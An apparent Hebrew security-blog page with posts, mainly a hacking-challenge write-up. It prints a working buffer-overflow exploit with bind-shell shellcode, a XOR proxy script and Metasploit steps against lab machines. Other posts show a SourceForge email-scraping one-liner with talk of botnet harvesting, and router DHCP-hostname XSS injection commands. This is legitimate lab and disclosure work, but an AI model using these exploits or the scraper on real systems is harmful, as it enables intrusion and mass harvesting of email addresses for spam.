אתגר Hacking של Offensive Security – שלב שני
מאת Fate בתאריך 06/07/10, תחת כללי
מה היה לנו
- קיבלתי Root על 192.168.6.200
- מצאתי עליו קובץ mosquito.exe
http://rapidshare.com/files/405342575/mosquito.exe
מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן.
mosquito
בוא ננחש מה עושה הקובץ לפי הImports שלו.
משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent.
אז אם נריץ אותו, והוא מאזין על פורט, נוכל בקלות לראות איזה.
הרצתי אותו, קפץ הFirewall ואומר שהוא מנסה להאזין על 4597, אישרתי לו.
טוב, ננסה להתחבר אליו עם Netcat ולראות אם הוא זורק לנו משהו למסך.
nc -nvv 127.0.0.1 4597
קופץ הFirewall, ואומר לי שהmosquito.exe מנסה ליצור חיבור ל127.0.0.1 לפורט 1080…. מאיפה זה בא??
החלטתי שלפני שאני קופץ פנימה לתוך הקוד, אני מרים Netcat מאזין מקומי, על פורט 1080, ורואה מה הולך שם.
nc -nvvLp 1080
מריץ את הייתוש מחדש, מתחבר אליו, רואה שהוא מתחבר לnetcat השני, וכלום לא קורה…
שולח קצת טקסט, לא קורה כלום…..
טוב, בדיקה אחרונה לפני שצוללים לקוד, האם הוא פותח חיבור תמיד ל127.0.0.1? או שזה חיבור חזרה למי שניסה להתחבר אליו?
נבדק בצורה פשוטה ע"י מכונה שהיא לא מקומית, כתובת P) אחרת שמנסה להתחבר לMosquito, ואיזה יופי, הFirewall אומר שהוא עדיין מנסה להוציא חיבור ל127.0.0.1 למרות שהחיבור הגיע מכתובת אחרת.
צוללים לקוד
פותח IDA חזרה, מאתר את המקום שבו יש קריאה לrecv.
מריץ Netcat מקומי מאזין על 1080.
פותח ollydbg, מציב breakpoint על הRecv.
פותח Netcat נוסף ומתחבר לmosquito שמריץ הollydbg.
קופץ הBreakpoint, אני שולח איזה שטות בNetcat, ומתחיל לעקוב אחרי זה בקוד בollydbg שורה שורה.
אני לא הולך לפרט את כל התהליך, אבל זה המסקנות שהגעתי אליהן אחרי כמה ריצות:
- כל חבילה שמתקבלת עוברת איזה "הצפנה" פשוטה… XOR עם הערך 4.
- נבדק האם האם הכתובת המקומית של השרת היא 192.168.6.141
- המידע נשלח לסוקט השני ששמחובר מקומית לפורט 1080
אז מה עכשיו
- חיפוש חולשות בקוד עצמו ובטיפול של הBuffer מהנקודה שהתקבל ועד שנשלח הלאה.
לא מצאתי חולשות רגילות של Buffer Overflow
- אולי זה לא אתגר ניצול חולשה, אלא צופן\Reverse? אולי צריך לשלוח מחרוזת מיוחדת כך שאחרי ההצפנה זה יהיה איזה מפתח.
נזכרתי בטקסט שהיה רשום באתר של Mosquito, עם התמונה, היה כתוב "bRAin suck3r".
בגלל איך שזה היה כתוב, חשבתי שזאת המחרוזת שמי שזה לא יהיה בפורט 1080 צריך לקבל.
כתבתי סקריפט שמקסר עם 4 ושולח לכתובת שאני מבקש, הרצתי, ולא קיבלתי תשובה.
- רגעעעעע, הדבר הזה בכלל מחזיר תשובות מאותו שירות שרץ על 1080?
בבדיקה מקומית (שליחה בNetcat המאזין על 1080) מתקבל אותו זבל "מוצפן" בNetcat המתחבר.
- אז אם זה הצפנה דו כיוונית, אולי זה פרוקסי טיפש מול שירות רגיל כלשהו?
מה רץ בדרך כלל על 1080? HTTP…
שיניתי את הסקריפט כך שישלח בקשת GET מקוסרת ב4, ויציג לי תשובה אם יש.
קיבלתי הרבה הרבה זבל חזרה.
הוספתי גם קיסור ב4 על התשובה, וקבילתי דף HTML.
- אז הדבר הזה הוא פרוקסי לשרת WEB
כדי שאני אוכל לגלוש אליו בחופשיות שיפרתי את הסקריפט שלי כך שיעביר מידע בשני הכיוונים, ויתמוך ביותר מחיבור אחד במקביל.
הרצתי אותו, ועכשיו אני יכול לגלוש בדפדפן ל127.0.0.1 לפורט שאני אבחר, ולראות מה מסתתר שם בשירות שרץ על 1080.
הסקריפט:
#!/usr/bin/python
#
import socket
import sys
import thread
def tunnel_data(sock1,sock2):
try:
data = sock1.recv(0xffff)
while data:
ndata = ""
for i in data:
ndata += chr(ord(i) ^ 4)
sock2.sendall(ndata)
data = sock1.recv(0xffff)
sock2.close()
except Exception,e:
print e
sock1.close()
sock2.close()
def main(ip,lport):
global MSG
lsock = socket.socket()
lsock.bind(("0.0.0.0",lport))
lsock.listen(1)
while True:
cli = lsock.accept()[0]
rsock = socket.socket()
rsock.connect((ip,4597))
thread.start_new_thread(tunnel_data,(cli,rsock))
thread.start_new_thread(tunnel_data,(rsock,cli))
main(sys.argv[1],long(sys.argv[2]))
האתר
נפתח חלון של איזה תוכנת צ'אט, שקוראים לה Easy Chat Server.
בנוי בAJAX, ומעוצב בצורה שמאד מסכנת את הפיצה שאכלתי לא מזמן.
התחלתי לשחק איתו, לחפש SQL Injections, לחפש בעיות הרשאות, לנחש סיסמה של המנהל של הערוץ.
שזה לא היה קשה, הסיסמה של המנהל admin הייתה admin, אבל זה לא נתן לי כלום.
טוב, אולי זה שרת מוכר באינטרנט, אולי יש לו חולשות.
איזה יופי שבדף תוצאות הראשון אני מוצא את הקישור הבא:
http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_username
פריצה מעל פרוקסי מצפין
הפעלתי Metasploit הגדרתי את הפרצה שתנסה לפרוץ לי את הפרוקסי המקומי, ותשתמש בMeterpreter שמתחבר חזרה אלי ישירות.
הרצתי את הפרצה, ואחרי כמה ניסיונות כושלים, זה עבד!!
קיבלתי Shell על השרת 192.168.6.141.
בדיקה מהירה גילתה שאני משתמש חסר הרשאות, שאין לו גישה לDesktop של הAdministrator.
וGetSystem של Meterpreter לא עזר.
מערכת ההפעלה היא Windows 2003 SP2.
נסיונות לעלות הרשאות
ציינתי כבר שכל 30 דקות המכונות עוברות Revert?
האם אמרתי עד כמה מעצבן זה כשאתה מנסה למצוא איך לעלות הרשאות במכונה שיש לך גישה אליה?
הייתי צריך לפרוץ מחדש את המכונה כל פעם שאיבדתי גישה בגלל הRevert.
אבל מספיק לבכות, כאן זה הזמן לאמר שלעלות הרשאות במכונה לא הצלחתי באותן 10 שעות שהיה לי לאתגר הזה.
דברים שניסיתי:
- מציאת חולשות Privilege Escalation ידועות למערכת ההפעלה, לא הלך, המכונה כנראה Fully Patched
- מציאת Services שרצים כSystem לבדוק אם אפשר להחליף להם את הEXE ולעשות להפיל אחד מהם שיעלה מחדש, היה שם שרת VOIP שרץ כSystem ומאד קרץ לי, אבל שרף את רוב הזמן.
- חיפוש קבצים זרוקים במערכת שיש לי גישה "בטעות" אליהם ויש שם סיסמה או משהו שיעזור
אתם מוזמנים להציע עוד דרכים…
אני לא אוכל להגיד אם זה היה עובד או לא, האתגר נסגר, אבל אני כן יכול לפרסם את הדרך שאחת הקבוצות האחרות מצאה, אחרי שתכתבו כמה רעיונות משלכם….
אתגר Hacking של Offensive Security – שלב ראשון
מאת Fate בתאריך 26/06/10, תחת כללי
קצת על האתגר
האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.
מטרת האתגר:
- תוך 48 שעות, לפרוץ 5 מחשבים
- להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
- ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
- כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
- כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.
קישור לאתר של האתגר, עם עוד קצת הסברים:
http://www.information-security-training.com/events/let-the-games-begin-again
לי יצא לעבוד על זה בערך 10 שעות.
סריקה ראשונית
מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.
- 200 – פתוח פורט 80
- 141 – פתוח פורט 80 וכמה פורטים של SIP
- 115 – פתוח שרת SQL
- 140 – פורט 80 פתוח וכמה שהם filtered
- 150 – ענה לי פעם על פורט כלשהו ונעלם
מעבר מהיר על המחשבים
- 141 – מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
- 140 – מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
- 115 – שרת SQL שאין לי משתמש אליו
- 200 – מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
- 150 – לא התעסקתי איתו
הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.
Vuln
בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:
http://rapidshare.com/files/402861125/vuln.rar.html
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.
מעבר על המקור מגלה את השורות הבאות:
#define LISTENPORT 7500
...
//now fill in the fields we need
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(LISTENPORT);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
//bind our socket to the port
if (bind(sock,(struct sockaddr *)&my_addr, ...)){
perror("bind");
exit(1);
}
//start listening for incoming connections
if (listen(sock,BACKLOG) == -1) {
perror("listen");
exit(1);
}
הקוד מאזין על פורט 7500.
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).
אז הבינארי הזה רץ על השרת הזה.
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).
שורות מעניינות:
char reply[1024];
...
recv(conn, reply, 1024, 0);
handle_reply(reply);
...
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("Your message is \"%s\"\n",response);
return 0;
}
התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.
עוד קטע שקופץ לעיניים בקוד:
int jmp(void){
__asm__("jmp %esp");
return 0;
}
הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.
ניצול חולשה
שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0×41414141 שזה "AAAA".
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.
קיבלתי Code Execution.
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.
SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:
#!/usr/bin/python
#
# exploit.py <ip> <port>
#
#
import socket
import sys
import time
import struct
JMP_ESP_ADDR = 0x0804866A
SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
def main(ip,port):
global SHELLCODE
global JMP_ESP_ADDR
so = socket.socket()
so.connect((ip,7500))
greet = so.recv(1024)
SHELLCODE = SHELLCODE[:21]+struct.pack("!H",port)+SHELLCODE[23:]
buff = "A" * 268 + struct.pack("L",JMP_ESP_ADDR) + SHELLCODE
so.sendall(buff)
time.sleep(5)
so.close()
main(sys.argv[1],long(sys.argv[2]))
מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.
מה יש בשרת
נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! ![]()
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!
בפוסט הבא
מה זה mosquito.exe?
האם הוא נותן רמז לשרת עם הזבוב בתמונה?
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??
בזק: שלום!
מאת PHANTOm בתאריך 04/02/10, תחת כללי
צ'או בזק. עכשיו נתן סיכוי לתשתית של HOT, לא שאני עובר ל- HOT מתוך בחירה, ברור שזה הרע במיעוטו ושחסרה תחרות בתחום תשתית האינטרנט בארץ. אולי יום יבוא וסלקום / אורנג' / חברת חשמל יעשו קצת תחרות. בכל מקרה, רציתי לכתוב קצת על החיים שאחרי המעבר. בעיקר, איך שורדים עם טלפון שמחובר ל- Skype ומה הבעיות שזה עושה.
אבטחה נמצאת בפרטים הקטנים
מאת TAsn בתאריך 31/01/10, תחת כללי
הפוסט של היום לא עוסק בהקשחת שרת או בתכנות נכון והגנתי, אלא בדבר חשוב יותר משניהם, תכנון.
נתקלתי לאחרונה ב"פרצה" די מבדרת. הפרצה אומנם לא מאפשרת לי להשתלט על שרת, או אפילו לפגוע במשתמשים, אבל היא בהחלט מאפשרת גישה לדבר ששווה כסף, או לפחות יכול להיות מעצבן: כתובות אימייל של קבוצה ממוקדת נושא, במקרה הזה, אנשי טכנולוגיה.
למי שלא מכיר, האתר sourceforge הוא האתר הכי גדול (או לפחות אחד מההכי גדולים) לפרוייקטים קוד פתוח. באתר יש כ 2 מיליון משתמשים רשומים וכ 230,000 פרוייקטים. בנוסף, ישנם Mailing lists לכל הפרוייקטים, ובזה נתמקד.
נסתכל לדוגמה ברשימת התפוצה של Firebird. נניח ונרצה את כל הכתובות של החברים ברשימת התפוצה של Firebird, נפנה לארכיון המיילים של Firebird, אך נתקל בבעיה, sourceforge חכמים מספיק בשביל לא לפרסם את המיילים של כולם באינטרנט כצאן לטבח. למזלם של הספאמרים, sourceforge לא תיכננו עד הסוף, ולמען האמת הם מספקים דרך מאוד פשוטה (ברוב המקרים) לגלות מה הכתובת המלאה של השולח. יש לציין ששיטה זו לא עובדת תמיד, אלא "רק" ברוב הכמעט מוחלט של המקרים.
נתבונן רגע לעומק במעמקי ה"קוד" של העמוד, נתבונן לדוגמה בלינק שנתתי קודם מארכיון המיילים של Firebird: נבחר את המייל השלישי, זה נשלח ע"י "Adriano dos Santos Fernandes <adrianosf@gm…>". אנחנו רואים שהכתובת שלו מתחילה ב gm, (הערה: כולם משתמשים כיום ב gmail ככה שלא קשה לנחש שהכתובת האמיתית שלו היא gmail.com, למרות שהיא לא הייתה חייבת להיות, וזה יעבוד כמובן גם על כתובות של שרתי מייל שאנחנו לא מכירים) אבל אם נסתכל לעומק בלינק שמקשר לפוסט (בעמודה topic), נראה שם משהו מעניין, לדוגמה, במקרה שלנו, הלינק הוא:
http://sourceforge.net/mailarchive/forum.php?thread_name=4B65B1DC.5020407%40gmail.com&forum_name=firebird-devel
הפלא ופלא, השדה thread_name מסתיים ב gmail.com, מכך נסיק ששרת המייל ששלח את המייל הוא gmail.com ולכן הכתובת היא adrianosf ~-at-~ gmail.com.
נסתכל בשורה הבאה, מייל מאת Alexander Peshkoff <peshkoff@ma…>, אם נסתכל בלינק בעמודה topic, (לינק: http://sourceforge.net/mailarchive/forum.php?thread_name=201001311914.57707.peshkoff%40mail.ru&forum_name=firebird-devel) נראה שאותו שדה מסתיים הפעם ב @mail.ru, והרי זה לא מפתיע שזה מתאים לאימייל שלו שמתחיל ב: peshkoff@ma ולכן האימייל המלא שלו הוא peskoff ~-at-~ mail.ru.
החדים מביניכם בטח שמו לב שבמקרה השני, הלינק הכיל את כל הכתובת, ובמקרה הראשון לא. זה מתחבר לממה שאמרתי קודם, השדה הזה לא עקבי מספיק, (או לפחות לא מצאתי את החוקיות), ולכן זה לא עובד ב 100% מהמקרים, אבל ברוב המקרים שבדקתי, השדה הזה אכן מסתיים בשרת האיימייל ששלח את המייל, גם אם זה לא בהכרח השרת שיקבל את המיילים, זה בהחלט יכול לעזור. לדוגמה, לפעמים ב gmail הסיומת של השדה הזה תיהיה mail.google.com, אמנם אי אפשר לשלוח מייל ל adrianosf@mail.google.com (מהדוגמה הקודמת), אבל אפשר בהחלט לתרגם את זה בצורה קלה (הרי אם זה נפוץ מספיק אז אפשר לתרגם ידנית ובקלות להחליף את כל השדות).
זה גם מאוד פשוט לגנוב את המיילים האלה, לדוגמה, השורה הפשוטה הבאה שמתמשת ב wget וב sed (אמנם לא הכי נקי שאפשר, אבל החלט עושה את העבודה):
wget -q -O - http://sourceforge.net/mailarchive/forum.php?forum_name=firebird-devel | sed -n -e 's/^.*<td width="50%"><a href="[^&]*%40\([^&]*\)[^"]*".*$/@\1/p' -e s'/^.*<\([^&]*\)...>.*/\1/p'
לוקחת עמוד ומחלצת ממנו את כל השרתים בשורה אחת (מתחילים ב @), ואת המייל (עד הקטע המצונזר) בשורה אחריה. להוסיף את התוצאות לdb פשוט (לדוגמה sqlite), ולכתוב סקריפט פרל קצר שיעבור בכל העמודים של כל ה ML ב sourceforge ויריץ עליהם את הסינון sed הזה, גם לא לוקח הרבה זמן. בקיצור, אנחנו יכולים, בקלות יחסית (עדיין צריך לזכור לא להציף את sourceforge ולהשתמש בפרוקסי\בוטנט) לקחת את כתובות האימייל של 2 מיליון אנשים טכנלוגיים (אולי יותר אולי פחות) ולהשתמש בהם בפרסום ממוקד באינטרנט.
כמובן שמתכנתים פחות טיפשים מהאדם הממוצע, ולכן מספר ה"קניות" פר מיילים תהיה נמוכה בהרבה מאשר ספאם ממוצע, אבל עדיין, מדובר פה בפרסום לקבוצה מאוד ממוקדת ועל 2 מליון כתובות.
בנוסף, הפוסט הזה לא עוסק בהשגת כתובות אימיילם בשביל ספאם, אלא בעובדה שהם כביכול ניסו להגן משליחת ספאם למשתמשים שלהם, אבל בעצם חשפו את האימייל שלהם בצורה עקיפה. כל זה יכל להפתר אם הם היו מתכננים מראש, וחושבים פעמיים לפני שהם שמים את שם השרת ששלח את המייל גלוי לכל. אמנם במקרה הזה, הנזק לא גדול, אבל זה מדהים איך אתר כזה גדול מרשה למידע לזלוג בכזו קלות, או בקיצור, לדעתי זו "פרצה" נחמדה.
סקר: עד כמה הראוטר שלכם מעפן ?
מאת spdr בתאריך 29/01/10, תחת כללי
מבדיקה שעשיתי מסתבר שלהרבה מאוד ראוטרים אפשר להזריק קוד HTML באמצעות פרמטר ה HOSTNAME שמתקבל באמצעות פרוטוקול ה DHCP בזמן ההתחברות לנתב. ואם יש לנתב ממשק ווב שנותן לצפות ב DHCP TABLE או סתם מציג את ה HOSTNAME של המחשבים בכל דף אחר, אפשר לגרום בעצם ל XSS, ואולי אפילו להשיג ZONE פחות מאובטח בגרסאות ישנות של אינטרנט אקספלורר. אני בטח לא הראשון שחשב על זה אבל מהבדיקות שעשיתי 4 מתוך 4 ראוטרים היו פגיעים.
דוגמא לניצול בראוטר של סימנס:

בינתיים הראוטרים שבדקתי היו:
2Wire D-link SIEMENS ADSL SL2-141 ובדיקה ידנית מול - Level one WBR 3408 11g
העלתי לאתר סקריפט שכתוב בפרל, אז אם בא לכם לעזור בסקר כדי שכולנו נדע איזה ראוטרים בדיוק פגיעים, תורידו את הסקריפט ותריצו נגד הראוטר. הסקריפט ישלח פאקט ֹאחד לפורט UDP 67 ואמור ליצור HOSTNAME עם איזה ערך שאתם רוצים.
אפשרות שניה היא לעשות את הבדיקה בצורה ידנית, דבר פשוט בלינוקס:
ifconfig eth0 hw ether 00 hostname "htmlcodehere" # Replace with real code dhclient
השורה הראשונה תשנה את כתובת ה MAC של הכרטיס רשת, השורה השניה תשנה את ה HOSTNAME וצריך להכניס בין הגרשיים קוד HTML כלשהוא עד 64 תווים. השורה השלישית והאחרונה בעצם תבקש כתובת IP מהשרת DHCP עבור ה mac החדש מה שיגרום לרשומה חדשה ב DHCP TABLE.
את הסקריפט שכתוב בפרל אפשר להעתיק מכאן
הסקריפט מקבל 2 פרמטרים, הראשון הוא האיפי של הראוטר והשני זה קוד HTML שיכול להיות עד 63 תווים, אז תיהיו יצירתיים
. תדאגו גם לעטוף את הקוד HTML שאתם רוצים לנסות להזריק בגרשיים כדי שהטרמינל שלכם לא יחשוב שאלו פקודות BASH.
אחרי הניסיון ניצול (ידני או עם הסקריפט) תכנסו לממשק הווב לניהול הראוטר שלכם באמצעות הדפדפן ותבדקו אם הקוד שלכם הגיע לאחד הדפים – ואם כן, אז תכתבו לנו בתגובות בבקשה – תשתדלו לבדוק את הגרסא המדויקת של הראוטר שלכם לפני התגובה, ואם צריך להוסיף איזה קוד HTML כדי שההזרקה תיהיה אפקטיבית אז תדאגו להוסיף גם את זה.
יהיה מעניין לבדוק גם אם אפשר להריץ פקודות מרחוק, כמו הזרקת CGI SHELL לדפים של ראוטרים שונים. אבל אני מתאר לעצמי שזה בטח לא כלכך אפשרי.
התוצאות יתפרסמו בצורה מסודרת, כשיהיו מספיק תוצאות
המלצה על מוצר Firewall בייתי
מאת PHANTOm בתאריך 20/01/10, תחת כללי
מזמן לא יצא לי לראות מה חדש בעולם תוכנות ה- Firewall, אז כמה אנשים המליצו לי על האתר הזה שנראה די לגיטימי, יש להם מתודולוגיה, פרמטרים לבדיקה, וציונים. החלטתי לתת סיבוב ל- 2 המוצרים שקיבלו את הציונים הכי גבוהים ב Review שלהם.
PC Tools Firewall Plus 6.0.0.88 ו- Comodo Internet Security 3.13, שניהם מוצרים חינמיים אז אין בעיה להוריד ולבדוק. Online Armor Premium קיבל ציון 99% אבל הוא לא נתמך ב64 ביט, אז אין לי מה לבדוק אותו.
התחלתי מ PC Tools, הלוגו הזכיר לי מאיפה אני מכיר את החברה: הם עשו קופה בזמנו עם מוצרי ה Anti-Spyware, ותיקוני ה- Registry. אחרי שהתקנתי את המוצר הוא שאל אותי אם אני סומך על Google Talk ו mIRC, הסיבה שהוא התפל דווקא עליהם היא שהתוכנות לא חתומות, שזה סבבה כל עוד מי שרוצה לפרוץ אליך לא מוכן לבזבז 1000 דולר על חתימה. ניסיתי להריץ netcat ועוד כמה תוכנות אינטרנט לא חתומות, ולהפתעתי זה עבד. מוזר, אין שום שאלות מהתוכנה. ניסיתי להריץ shell של vnc connect back, גם עובד. מדאיג.
או קיי, אז אולי הוא ברמה של Windows Firewall חשבתי לעצמי, הוא בטח יקפוץ אם התוכנה תעשה listen ל 0.0.0.0, אבל מסתבר שממש לא. בניתי קוד חדש לבדיקה, לא חתום ולא כלום, דחפתי אותו בכוונה ל Startup ב Registry רק כדי לראות אולי PC Tools יבין את הרמז, אבל הרמז לא נקלט. כנראה שאני קורא את התוצאות הפוך, בטח באתר התכוונו ל- "100%" פריץ.
טוב, נמשיך עם Comodo, גם הוא קיבל ציון 100, וגם הוא חינמי.
ההתקנה שלו די גדולה, ומתחילה מ WinZip SFX, משהו שלא ראיתי משנת 1999 אז כשהסרט מאטריקס הראשון יצא. אחרי זה ההתקנה רצתה לדחוף לי 3 toolbars, ורצתה להחליף לי שרתי DNS.
אחרי ההתקנה, comodo התחיל לשאול שאלות, רובן מפגרות, כמו האם מותר לגעת לתהליך מערכת בג'יסטרי, בלי להגיד לי מה התהליך או מה ברג'יסטרי. אחרי משהו כמו 50 שאלות מתוכן 48 שבאמת לא היה צריך לשאול, הוא התחיל לעבוד. הוא בהחלט שם לב ל- VNC ולקוד שבניתי.
מה שפחות טוב, מסתבר שההמלצות ש- comodo נותן מבוססות על מה שאנשים אחרים לוחצים, למשל, התוכנה אמרה לי ש 95% מהאנשים שהריצו את הסוס הטרויאני חשבו שהתוכנה בטוחה. כמובן שמי שיודע לקבל החלטות כאלה בעצמו אכן הרוויח כלי די חזק לפחות מהכמה דקות שיצא לי לעבוד איתו.
לא יצא לי לבדוק שיטות מתקדמות על ה Firewall עדיין, אני אעדכן את הטקסט כשיצא לי. ראיתי גם עוד שמות של תוכנות מוכרות כמו Outpost ו Kaspersky שהיו לי בעבר, נכון לעכשיו ההמלצה שלי למי שמחפש משהו שייתן רמה סבירה של הגנה – שילך על Comodo.
לרמות בבדיקות מהירות
מאת PHANTOm בתאריך 09/11/09, תחת כללי
אני מניח שרבים מכם רוצים לפתוח ספקית אינטרנט ISP משלכם, אבל קשה למצוא ביימנו מדריך טוב ל”איך לדפוק את הלקוחות”, אז החלטתי לסייע עם כמה טיפים שיעזרו לכם לחסוך עלויות ולהימנע משאלות מציקות במוקדי התמיכה.
ללקוח אין כמעט כלים לבדוק את הספקית, לכן כמה טריקים זולים יספיקו בהחלט.
גיימרים? הם רק רוצים פינגים, וזה ממש קל, מתעדפים תעבורת ICMP והעסק סגור. פינגים נמוכים שלא באמת קשורים למהירות החיבור או לעומסים ברשת.
בודקים אתכם? פשוט תרמו יותר. speedtest.net (התוצאה הראשונה למי שמחפש בדיקה בגוגל) מוריד קבצים קטנים, ומודד את התעבורה ע"פ הזמן שלוקח להוריד את אותם קבצים. יש לו המון שרתים וכל הזמן מחדשים את הרשימה. מה עושים? יוצרים תעדוף burst, קבצים קטנים טסים, אבל אחרי כמה שניות המהירות צונחת. בעיה נפתרה.
אבל הלקוח מתקשר ומתלונן, מה עושים? אומרים לו שהבעיה אצלו. אין בעיה לרמות אותו, פשוט, יוצרים 3-4 אתרי בדיקת מהירות ייעודיים, ומתעדפים את התעבורה אליהם. אפשר גם להוסיף איזה שקר כלשהו על עומס בשרת שאותו מסכן מנסה מולו.
אבל יש שכנים עם wifi וספקיות אחרות, ששם אפשר להוריד יותר מהר, מה אז? אל חשש, בשביל זה הגדולים המציאו משחק: כל מי שמתלונן ומצליח לעבור את סינון ההעלבות הראשוני – מועבר ל"ארגז חול" חדש ובתולי, אבל, ממשיכים להזרים עוד ועוד אנשים לאותו "ארגז חול", עד שהוא יתמלא, וככה ממשיכים במלחמת ההתשה עד שכבר לא יהיה ללקוח עוד כוח לבקש לעבור שוב.
ומה עושים עם bittorent שגומר את כל הפס? ספקיות רבות בארץ מצליחות להרוג את מהירות ה- torrent, למשל ע"י סינון אקראי של packets, הגבלה על חיבורים חדשים (חצי פתוחים) ברמת תשתית, ניתובים גרועים במיוחד ללקוחות פרטיים במדינות אחרות. למי שזה ממש מפריע – אולי אפילו שווה להשקיע באיזה מוצר מדף ייעודי נחמד.
איך גורמים ללקוחות לשדרג למהירויות שהם לא צריכים? יוצרים איזה קמפיין על איזה משהו Private ואומרים שזה "תשתית נפרדת", ובאותו זמן מייבשים את כל הלקוחות שאין להם את זה, וכמובן דוחפים אותם לשדרוג בתור פתרון. Win Win (יותר כסף לספקית וגם יותר כסף להנהלה).
הכול טוב ויפה, אבל מה אם תבוא איזה ספקית בלי כל הבולשיט הזה ותגנוב את הלקוחות? אין סיכוי, וחוץ מזה – הלקוחות טיפשים. מי כבר יכול לעשות כזה דבר במצב של היום? 018 על התשתית של בזק בינלאומי המיובשת בגלל רשת פרמיום ל- NGN שהיא מנסה מקדמת, ואורנג'? נתן להם עוד כמה חודשים גג.
לסיכום: כך תחסכו על גבם של הפראיירים שמחוברים אצלכם ותשקיעו את הכסף במה שחשוב באמת, חופשות סקי ובתים בסביון.
נ.ב.
אני מרגיש כמו הקוסם שמגלה את הסודות של אחרים, רק שהקסם האמיתי פה זה איך עדיין חברות כמו אינטרנט זהב-012, נטויז'ן-ברק ובזק בינלאומי גורפות כאלה קופות על גבם של הלקוחות, בלי שאלה ישימו לב.
